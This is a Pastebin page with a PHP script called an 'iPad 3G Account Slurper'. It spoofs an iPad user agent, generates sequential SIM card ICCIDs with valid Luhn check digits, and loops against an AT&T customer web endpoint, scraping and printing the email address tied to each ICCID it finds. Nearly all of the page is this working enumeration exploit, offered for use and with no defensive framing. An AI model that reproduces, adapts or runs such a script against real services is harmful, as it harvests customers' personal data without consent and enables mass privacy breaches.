Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // iPad 3G Account Slurper
- //
- // Usage: ./ipadump.php ICCID-base count
- // (The script generates the final checkdigit to produce ICCIDs from the entered base)
- $useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad
- $ICCIDroot = $_SERVER['argv'][1];
- $ICCIDcount = $_SERVER['argv'][2];
- function genluhn($number){ //Crappy home-made Luhn checkdigit generator
- $i = strlen($number)-1;
- do {
- $array[] = $number[$i];
- $i--;
- } while ($i > -1);
- $i = 0;
- foreach ($array as $digit) {
- if (!($i & 1)){
- $digit = $digit * 2;
- if ($digit >= 10) {
- $digit = $digit - 9;
- }
- }
- $total += $digit;
- $i++;
- }
- $luhn = 10 - ($total % 10);
- if ($luhn == 10) $luhn=0;
- return $luhn;
- }
- while (1) { //Continue FOREVER
- $ch = curl_init(); //Set up cURL
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection
- curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data
- $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to
- the ICCID
- curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0");
- $output = curl_exec($ch); //Load first page with ICCID
- curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
- $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript.
- cURL is nice and passes the previously GET'd info
- curl_close($ch);
- //print $output; //Prints HTML result
- if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just
- to keep track of how far the script has gotten
- //Parse output. Terribly sloppy
- if (preg_match("/<title>Error<\/title>/", $output, $match)) {
- preg_match("/<div class=\"info-container\">(.*)<br>(.*)<br>/msU", $output,
- $match);
- $match[0] = preg_replace("/<div class=\"info-container\">\n\s\s+/","",$match[0]);
- $match[0] = preg_replace("/<\/b><br>/", "<\/b> <br>", $match[0]); //Because I
- want space between the period and the next sentence, dammit
- $errnum = strip_tags($match[0]);
- $status = "Error! ".$errnum; //Return specific error message
- } else if (preg_match("<input id=\"email\" name=\"email\" type=\"email\"
- placeholder=\"Required\" value=\".*\@.*\" autocapitalization=\"off\" autocorrect=\"off\">",
- $output, $match)) {
- $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\"
- placeholder=\"Required\" value=\"/","",$match[0]);
- $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "",
- $match[0]); //Return email address
- } else {
- $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad
- logic, will fix.
- }
- if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error
- message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log.
- if ($counter == $ICCIDcount) exit;
- $ICCIDroot++; //step ICCID
- $counter++; //step loop counter
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement